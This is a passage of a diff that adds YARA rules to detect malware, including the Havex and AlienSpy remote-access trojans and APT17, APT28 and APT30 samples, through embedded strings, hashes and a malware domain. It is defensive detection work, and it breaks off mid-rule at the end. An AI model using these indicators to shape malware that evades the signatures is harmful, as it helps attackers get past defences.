+		$magic = { 4d 5a }	
+	
+	    $s1 = "Start finging of LAN hosts..." fullword wide
+		$s2 = "Finding was fault. Unexpective error" fullword wide
+		$s3 = "Hosts was't found." fullword wide
+		$s4 = "%s[%s]!!!EXEPTION %i!!!" fullword wide
+		$s5 = "%s  <%s> (Type=%i, Access=%i, ID='%s')" fullword wide
+		$s6 = "Was found %i hosts in LAN:" fullword wide
+		
+		$x1 = "MB Connect Line GmbH" wide fullword
+		$x2 = "mbCHECK" wide fullword
+	condition:
+	    $magic at 0 and ( 2 of ($s*) or all of ($x*) )
+}
+
+rule Havex_Trojan_PHP_Server
+	{
+	meta:
+		description = "Detects the PHP server component of the Havex RAT"
+		date = "2014-06-24"
+		author = "Florian Roth"
+		reference = "http://goo.gl/GO5mB1"
+	strings:
+	    $s1 = "havex--></body></head>"
+		$s2 = "ANSWERTAG_START"
+		$s3 = "PATH_BLOCKFILE"
+	condition:
+	    all of them
+}
+rule crime_win_rat_AlienSpy
+{
+meta:
+	description = "Alien Spy Remote Access Trojan"
+	author = "General Dynamics Fidelis Cybersecurity Solutions - Threat Research Team"
+	reference_1 = "www.fidelissecurity.com/sites/default/files/FTA_1015_Alienspy_FINAL.pdf"
+	reference_2 = "www.fidelissecurity.com/sites/default/files/AlienSpy-Configs2_1_2.csv"
+	date = "04-Apr-15"
+	filetype = "Java"
+	hash_1 = "075fa0567d3415fbab3514b8aa64cfcb"
+	hash_2 = "818afea3040a887f191ee9d0579ac6ed"
+	hash_3 = "973de705f2f01e82c00db92eaa27912c"
+	hash_4 = "7f838907f9cc8305544bd0ad4cfd278e"
+	hash_5 = "071e12454731161d47a12a8c4b3adfea"
+	hash_6 = "a7d50760d49faff3656903c1130fd20b"
+	hash_7 = "f399afb901fcdf436a1b2a135da3ee39"
+	hash_8 = "3698a3630f80a632c0c7c12e929184fb"
+	hash_9 = "fdb674cadfa038ff9d931e376f89f1b6"
+
+   strings:
+		
+        $sa_1 = "META-INF/MANIFEST.MF"
+        $sa_2 = "Main.classPK"
+        $sa_3 = "plugins/Server.classPK"
+        $sa_4 = "IDPK"
+		
+        $sb_1 = "config.iniPK"
+        $sb_2 = "password.iniPK"
+        $sb_3 = "plugins/Server.classPK"
+        $sb_4 = "LoadStub.classPK"
+        $sb_5 = "LoadStubDecrypted.classPK"
+        $sb_7 = "LoadPassword.classPK"
+        $sb_8 = "DecryptStub.classPK"
+        $sb_9 = "ClassLoaders.classPK"
+		
+        $sc_1 = "config.xml"
+        $sc_2 = "options"
+        $sc_3 = "plugins"
+        $sc_4 = "util"
+        $sc_5 = "util/OSHelper"
+        $sc_6 = "Start.class"
+        $sc_7 = "AlienSpy"
+        $sc_8 = "PK"
+	
+  condition:
+    
+	uint16(0) == 0x4B50 and filesize < 800KB and ( (all of ($sa_*)) or (all of ($sb_*)) or (all of ($sc_*)) )
+}/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-05-14
+	Identifier: APT17
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule APT17_Sample_FXSST_DLL {
+	meta:
+		description = "Detects Samples related to APT17 activity - file FXSST.DLL"
+		author = "Florian Roth"
+		reference = "https://goo.gl/ZiJyQv"
+		date = "2015-05-14"
+		hash = "52f1add5ad28dc30f68afda5d41b354533d8bce3"
+	strings:
+		$x1 = "Microsoft? Windows? Operating System" fullword wide
+		$x2 = "fxsst.dll" fullword ascii
+		
+		$y1 = "DllRegisterServer" fullword ascii
+		$y2 = ".cSV" fullword ascii
+
+		$s1 = "GetLastActivePopup"
+		$s2 = "Sleep"
+		$s3 = "GetModuleFileName"
+		$s4 = "VirtualProtect"
+		$s5 = "HeapAlloc"
+		$s6 = "GetProcessHeap"
+		$s7 = "GetCommandLine"
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and
+			( all of ($x*) or all of ($y*) ) and all of ($s*)
+}
+/*
+	Yara Rule Set
+	Author: YarGen Rule Generator
+	Date: 2015-06-02
+	Identifier: APT28
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule APT28_CHOPSTICK {
+	meta:
+		description = "Detects a malware that behaves like CHOPSTICK mentioned in APT28 report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/v3ebal"
+		date = "2015-06-02"
+		hash = "f4db2e0881f83f6a2387ecf446fcb4a4c9f99808"
+		score = 60
+	strings:
+		$s0 = "jhuhugit.tmp" fullword ascii /* score: '14.005' */
+		$s8 = "KERNEL32.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 14405 times */
+		$s9 = "IsDebuggerPresent" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 3518 times */
+		$s10 = "IsProcessorFeaturePresent" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 1383 times */
+		$s11 = "TerminateProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 13081 times */
+		$s13 = "DeleteFileA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 1384 times */
+		$s15 = "GetProcessHeap" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 5875 times */
+		$s16 = "!This program cannot be run in DOS mode." fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 20908 times */
+		$s17 = "LoadLibraryA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 5461 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 722KB and all of them
+}
+
+rule APT28_SourFace_Malware1 {
+	meta:
+		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
+		author = "Florian Roth"
+		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
+		date = "2015-06-01"
+		hash1 = "e2450dffa675c61aa43077b25b12851a910eeeb6"
+		hash2 = "d9c53adce8c35ec3b1e015ec8011078902e6800b"
+		score = 60
+	strings:
+		$s0 = "coreshell.dll" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "Core Shell Runtime Service" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "\\chkdbg.log" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 62KB and all of them
+}
+
+rule APT28_SourFace_Malware2 {
+	meta:
+		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
+		author = "Florian Roth"
+		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
+		date = "2015-06-01"
+		super_rule = 1
+		hash0 = "367d40465fd1633c435b966fa9b289188aa444bc"
+		hash1 = "cf3220c867b81949d1ce2b36446642de7894c6dc"
+		hash2 = "ed48ef531d96e8c7360701da1c57e2ff13f12405"
+		hash3 = "682e49efa6d2549147a21993d64291bfa40d815a"
+		hash4 = "a8551397e1f1a2c0148e6eadcb56fa35ee6009ca"
+		hash5 = "f5b3e98c6b5d65807da66d50bd5730d35692174d"
+		score = 60
+	strings:
+		$s0 = "coreshell.dll" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "Applicate" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 550KB and all of them
+}
+
+rule APT28_SourFace_Malware3 {
+	meta:
+		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
+		author = "Florian Roth"
+		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
+		date = "2015-06-01"
+		super_rule = 1
+		hash0 = "85522190958c82589fa290c0835805f3d9a2f8d6"
+		hash1 = "d9c53adce8c35ec3b1e015ec8011078902e6800b"
+		hash2 = "367d40465fd1633c435b966fa9b289188aa444bc"
+		hash3 = "d87b310aa81ae6254fff27b7d57f76035f544073"
+		hash4 = "cf3220c867b81949d1ce2b36446642de7894c6dc"
+		hash5 = "ed48ef531d96e8c7360701da1c57e2ff13f12405"
+		hash6 = "682e49efa6d2549147a21993d64291bfa40d815a"
+		hash7 = "a8551397e1f1a2c0148e6eadcb56fa35ee6009ca"
+		hash8 = "f5b3e98c6b5d65807da66d50bd5730d35692174d"
+		hash9 = "e2450dffa675c61aa43077b25b12851a910eeeb6"
+		score = 60
+	strings:
+		$s0 = "coreshell.dll" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "Core Shell Runtime Service" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 550KB and all of them
+}
+
+/*
+	Yara Rule to detect Backspace Malware mentioned in FireEye APT30 Report
+	https://www.fireeye.com/blog/threat-research/2015/04/apt_30_and_the_mecha.html
+
+	13.04.2015 
+	v1.0
+	please report back false positives via the 'issue' section of the LOKI github page
+*/
+
+rule APT30_Generic_H {
+	meta:
+		description = "FireEye APT30 Report Sample - file db3e5c2f2ce07c2d3fa38d6fc1ceb854"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "2a4c8752f3e7fde0139421b8d5713b29c720685d"
+		hash2 = "4350e906d590dca5fcc90ed3215467524e0a4e3d"
+	strings:
+		$s0 = "\\Temp1020.txt" fullword ascii
+		$s1 = "Xmd.Txe" fullword ascii
+		$s2 = "\\Internet Exp1orer" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_2 {
+	meta:
+		description = "FireEye APT30 Report Sample - file c4dec6d69d8035d481e4f2c86f580e81"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "0359ffbef6a752ee1a54447b26e272f4a5a35167"
+	strings:
+		$s0 = "ForZRLnkWordDlg.EXE" fullword wide
+		$s1 = "ForZRLnkWordDlg Microsoft " fullword wide
+		$s9 = "ForZRLnkWordDlg 1.0 " fullword wide
+		$s11 = "ForZRLnkWordDlg" fullword wide
+		$s12 = " (C) 2011" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_3 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 59e055cee87d8faf6f701293e5830b5a"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "d0320144e65c9af0052f8dee0419e8deed91b61b"
+	strings:
+		$s5 = "Software\\Mic" ascii
+		$s6 = "HHOSTR" ascii
+		$s9 = "ThEugh" fullword ascii
+		$s10 = "Moziea/" ascii
+		$s12 = "%s%s(X-" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_C {
+	meta:
+		description = "FireEye APT30 Report Sample - file 0c4fcef3b583d0ffffc2b14b9297d3a4"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "8667f635fe089c5e2c666b3fe22eaf3ff8590a69"
+		hash2 = "0c4fcef3b583d0ffffc2b14b9297d3a4"
+		hash3 = "37aee58655f5859e60ece6b249107b87"
+		hash4 = "4154548e1f8e9e7eb39d48a4cd75bcd1"
+		hash5 = "a2e0203e665976a13cdffb4416917250"
+		hash6 = "b4ae0004094b37a40978ef06f311a75e"
+		hash7 = "e39756bc99ee1b05e5ee92a1cdd5faf4"
+	strings:
+		$s0 = "MYUSER32.dll" fullword ascii
+		$s1 = "MYADVAPI32.dll" fullword ascii
+		$s2 = "MYWSOCK32.dll" fullword ascii
+		$s3 = "MYMSVCRT.dll" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_4 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 6ba315275561d99b1eb8fc614ff0b2b3"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "75367d8b506031df5923c2d8d7f1b9f643a123cd"
+	strings:
+		$s0 = "GetStartupIn" ascii
+		$s1 = "enMutex" ascii
+		$s2 = "tpsvimi" ascii
+		$s3 = "reateProcesy" ascii
+		$s5 = "FreeLibr1y*S" ascii
+		$s6 = "foAModuleHand" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_5 {
+	meta:
+		description = "FireEye APT30 Report Sample - file ebf42e8b532e2f3b19046b028b5dfb23"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "1a2dd2a0555dc746333e7c956c58f7c4cdbabd4b"
+	strings:
+		$s0 = "Version 4.7.3001" fullword wide
+		$s1 = "Copyright (c) Microsoft Corporation 2004" fullword wide
+		$s3 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the U" wide
+		$s7 = "msmsgs" fullword wide
+		$s10 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_6 {
+	meta:
+		description = "FireEye APT30 Report Sample - file ee1b23c97f809151805792f8778ead74"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "00e69b059ad6b51b76bc476a115325449d10b4c0"
+	strings:
+		$s0 = "GreateProcessA" fullword ascii
+		$s1 = "Ternel32.dll" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_7 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 74b87086887e0c67ffb035069b195ac7"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "868d1f4c106a08bd2e5af4f23139f0e0cd798fba"
+	strings:
+		$s0 = "datain" fullword ascii
+		$s3 = "C:\\Prog" ascii
+		$s4 = "$LDDATA$" ascii
+		$s5 = "Maybe a Encrypted Flash" fullword ascii
+		$s6 = "Jean-loup Gailly" ascii
+		$s8 = "deflate 1.1.3 Copyright" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_E {
+	meta:
+		description = "FireEye APT30 Report Sample - file 8ff473bedbcc77df2c49a91167b1abeb"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "1dbb584e19499e26398fb0a7aa2a01b7"
+		hash2 = "572c9cd4388699347c0b2edb7c6f5e25"
+		hash3 = "8ff473bedbcc77df2c49a91167b1abeb"
+		hash4 = "a813eba27b2166620bd75029cc1f04b0"
+		hash5 = "b5546842e08950bc17a438d785b5a019"
+	strings:
+		$s0 = "Nkfvtyvn}" ascii
+		$s6 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_8 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 44b98f22155f420af4528d17bb4a5ec8"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "9531e21652143b8b129ab8c023dc05fef2a17cc3"
+	strings:
+		$s0 = "ateProcessA" ascii
+		$s1 = "Ternel32.dllFQ" fullword ascii
+		$s2 = "StartupInfoAModuleHand" fullword ascii
+		$s3 = "OpenMutex" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_B {
+	meta:
+		description = "FireEye APT30 Report Sample - file 29395c528693b69233c1c12bef8a64b3"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "0fcb4ffe2eb391421ec876286c9ddb6c"
+		hash2 = "29395c528693b69233c1c12bef8a64b3"
+		hash3 = "4c6b21e98ca03e0ef0910e07cef45dac"
+		hash4 = "550459b31d8dabaad1923565b7e50242"
+		hash5 = "65232a8d555d7c4f7bc0d7c5da08c593"
+		hash6 = "853a20f5fc6d16202828df132c41a061"
+		hash7 = "ed151602dea80f39173c2f7b1dd58e06"
+	strings:
+		$s2 = "Moziea/4.0" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_I {
+	meta:
+		description = "FireEye APT30 Report Sample - file fe211c7a081c1dac46e3935f7c614549"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "fe211c7a081c1dac46e3935f7c614549"
+		hash2 = "8c9db773d387bf9b3f2b6a532e4c937c"
+	strings:
+		$s0 = "Copyright 2012 Google Inc. All rights reserved." fullword wide
+		$s1 = "(Prxy%c-%s:%u)" fullword ascii
+		$s2 = "Google Inc." fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_9 {
+	meta:
+		description = "FireEye APT30 Report Sample - file e3ae3cbc024e39121c87d73e87bb2210"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "442bf8690401a2087a340ce4a48151c39101652f"
+	strings:
+		$s0 = "\\Windo" ascii
+		$s2 = "oHHOSTR" ascii
+		$s3 = "Softwa]\\Mic" ascii
+		$s4 = "Startup'T" ascii
+		$s6 = "Ora\\%^" ascii
+		$s7 = "\\Ohttp=r" ascii
+		$s17 = "help32Snapshot0L" ascii
+		$s18 = "TimUmoveH" ascii
+		$s20 = "WideChc[lobalAl" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+rule APT30_Sample_10 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 8c713117af4ca6bbd69292a78069e75b"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "eb518cda3c4f4e6938aaaee07f1f7db8ee91c901"
+	strings:
+		$s0 = "Version 4.7.3001" fullword wide
+		$s1 = "Copyright (c) Microsoft Corporation 2004" fullword wide
+		$s2 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the U" wide
+		$s3 = "!! Use Connect Method !!" fullword ascii
+		$s4 = "(Prxy%c-%s:%u)" fullword ascii
+		$s5 = "msmsgs" fullword wide
+		$s18 = "(Prxy-No)" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_11 {
+	meta:
+		description = "FireEye APT30 Report Sample - file d97aace631d6f089595f5ce177f54a39"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "59066d5d1ee3ad918111ed6fcaf8513537ff49a6"
+	strings:
+		$s0 = "System\\CurrentControlSet\\control\\ComputerName\\ComputerName" fullword ascii
+		$s1 = "msofscan.exe" fullword wide
+		$s2 = "Mozilla/4.0 (compatible; MSIE 5.0; Win32)" fullword ascii
+		$s3 = "Microsoft? is a registered trademark of Microsoft Corporation." fullword wide
+		$s4 = "Windows XP Professional x64 Edition or Windows Server 2003" fullword ascii
+		$s9 = "NetEagle_Scout - " fullword ascii
+		$s10 = "Server 4.0, Enterprise Edition" fullword ascii
+		$s11 = "Windows 3.1(Win32s)" fullword ascii
+		$s12 = "%s%s%s %s" fullword ascii
+		$s13 = "Server 4.0" fullword ascii
+		$s15 = "Windows Millennium Edition" fullword ascii
+		$s16 = "msofscan" fullword wide
+		$s17 = "Eagle-Norton360-OfficeScan" fullword ascii
+		$s18 = "Workstation 4.0" fullword ascii
+		$s19 = "2003 Microsoft Office system" fullword wide
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_12 {
+	meta:
+		description = "FireEye APT30 Report Sample - file c95cd106c1fecbd500f4b97566d8dc96"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "b02b5720ff0f73f01eb2ba029a58b645c987c4bc"
+	strings:
+		$s0 = "Richic" fullword ascii
+		$s1 = "Accept: image/gif, */*" fullword ascii
+		$s2 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_13 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 95bb314fe8fdbe4df31a6d23b0d378bc"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "a359f705a833c4a4254443b87645fd579aa94bcf"
+	strings:
+		$s0 = "msofscan.exe" fullword wide
+		$s1 = "Microsoft? is a registered trademark of Microsoft Corporation." fullword wide
+		$s2 = "Microsoft Office Word Plugin Scan" fullword wide
+		$s3 = "? 2006 Microsoft Corporation.  All rights reserved." fullword wide
+		$s4 = "msofscan" fullword wide
+		$s6 = "2003 Microsoft Office system" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_14 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 6f931c15789d234881be8ae8ccfe33f4"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "b0740175d20eab79a5d62cdbe0ee1a89212a8472"
+	strings:
+		$s0 = "AdobeReader.exe" fullword wide
+		$s1 = "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy" fullword ascii
+		$s4 = "10.1.7.27" fullword wide
+		$s5 = "Copyright 1984-2012 Adobe Systems Incorporated and its licensors. All ri" wide
+		$s8 = "Adobe Reader" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_15 {
+	meta:
+		description = "FireEye APT30 Report Sample - file e26a2afaaddfb09d9ede505c6f1cc4e3"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "7a8576804a2bbe4e5d05d1718f90b6a4332df027"
+	strings:
+		$s0 = "\\Windo" ascii
+		$s2 = "HHOSTR"  ascii
+		$s3 = "Softwa]\\Mic" ascii
+		$s4 = "Startup'T" fullword ascii
+		$s17 = "help32Snapshot0L" fullword ascii
+		$s18 = "TimUmoveH" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_16 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 37e568bed4ae057e548439dc811b4d3a"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "066d06ac08b48d3382d46bbeda6ad411b6d6130e"
+	strings:
+		$s0 = "\\Temp1020.txt" fullword ascii
+		$s1 = "cmcbqyjs" fullword ascii
+		$s2 = "SPVSWh\\" fullword ascii
+		$s4 = "PSShxw@" fullword ascii
+		$s5 = "VWhHw@" fullword ascii
+		$s7 = "SVWhHw@" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_A {
+	meta:
+		description = "FireEye APT30 Report Sample - file af1c1c5d8031c4942630b6a10270d8f4"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "9f49aa1090fa478b9857e15695be4a89f8f3e594"
+		hash2 = "396116cfb51cee090822913942f6ccf81856c2fb"
+		hash3 = "fef9c3b4b35c226501f7d60816bb00331a904d5b"
+		hash4 = "7c9a13f1fdd6452fb6d62067f958bfc5fec1d24e"
+		hash5 = "5257ba027abe3a2cf397bfcae87b13ab9c1e9019"
+	strings:
+		$s5 = "WPVWhhiA" fullword ascii
+		$s6 = "VPWVhhiA" fullword ascii
+		$s11 = "VPhhiA" fullword ascii
+		$s12 = "uUhXiA" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_17 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 23813c5bf6a7af322b40bd2fd94bd42e"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "c3aa52ff1d19e8fc6704777caf7c5bd120056845"
+	strings:
+		$s1 = "Nkfvtyvn}]ty}ztU" fullword ascii
+		$s4 = "IEXPL0RE" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+rule APT30_Sample_18 {
+	meta:
+		description = "FireEye APT30 Report Sample - file b2138a57f723326eda5a26d2dec56851"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "355436a16d7a2eba8a284b63bb252a8bb1644751"
+	strings:
+		$s0 = "w.km-nyc.com" fullword ascii
+		$s1 = "tscv.exe" fullword ascii
+		$s2 = "Exit/app.htm" ascii
+		$s3 = "UBD:\\D" ascii
+		$s4 = "LastError" ascii
+		$s5 = "MicrosoftHaveAck" ascii
+		$s7 = "HHOSTR" ascii
+		$s20 = "XPL0RE." ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_G {
+	meta:
+		description = "FireEye APT30 Report Sample - file 53f1358cbc298da96ec56e9a08851b4b"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "1612b392d6145bfb0c43f8a48d78c75f"
+		hash = "53f1358cbc298da96ec56e9a08851b4b"
+		hash = "c2acc9fc9b0f050ec2103d3ba9cb11c0"
+		hash = "f18be055fae2490221c926e2ad55ab11"
+	strings:
+		$s0 = "%s\\%s\\%s=%s" fullword ascii
+		$s1 = "Copy File %s OK!" fullword ascii
+		$s2 = "%s Space:%uM,FreeSpace:%uM" fullword ascii
+		$s4 = "open=%s" fullword ascii
+		$s5 = "Maybe a Encrypted Flash Disk" fullword ascii
+		$s12 = "%04u-%02u-%02u %02u:%02u:%02u" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_19 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 5d4f2871fd1818527ebd65b0ff930a77"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "cfa438449715b61bffa20130df8af778ef011e15"
+	strings:
+		$s0 = "C:\\Program Files\\Common Files\\System\\wab32" fullword ascii
+		$s1 = "%s,Volume:%s,Type:%s,TotalSize:%uMB,FreeSize:%uMB" fullword ascii
+		$s2 = "\\TEMP\\" fullword ascii
+		$s3 = "\\Temporary Internet Files\\" fullword ascii
+		$s5 = "%s TotalSize:%u Bytes" fullword ascii
+		$s6 = "This Disk Maybe a Encrypted Flash Disk!" fullword ascii
+		$s7 = "User:%-32s" fullword ascii
+		$s8 = "\\Desktop\\" fullword ascii
+		$s9 = "%s.%u_%u" fullword ascii
+		$s10 = "Nick:%-32s" fullword ascii
+		$s11 = "E-mail:%-32s" fullword ascii
+		$s13 = "%04u-%02u-%02u %02u:%02u:%02u" fullword ascii
+		$s14 = "Type:%-8s" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and 8 of them
+}
+
+rule APT30_Generic_E_v2 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 71f25831681c19ea17b2f2a84a41bbfb"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "eca53a9f6251ddf438508b28d8a483f91b99a3fd"
+	strings:
+		$s0 = "Nkfvtyvn}duf_Z}{Ys" fullword ascii
+		$s1 = "Nkfvtyvn}*Zrswru1i" fullword ascii
+		$s2 = "Nkfvtyvn}duf_Z}{V" fullword ascii
+		$s3 = "Nkfvtyvn}*ZrswrumT\\b" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_20 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 5ae51243647b7d03a5cb20dccbc0d561"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "b1c37632e604a5d1f430c9351f87eb9e8ea911c0"
+	strings:
+		$s0 = "dizhi.gif" fullword ascii
+		$s2 = "Mozilla/u" ascii
+		$s3 = "XicrosoftHaveAck" ascii
+		$s4 = "flyeagles" ascii
+		$s10 = "iexplore." ascii
+		$s13 = "WindowsGV" fullword ascii
+		$s16 = "CatePipe" fullword ascii
+		$s17 = "'QWERTY:/webpage3" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_21 {
+	meta:
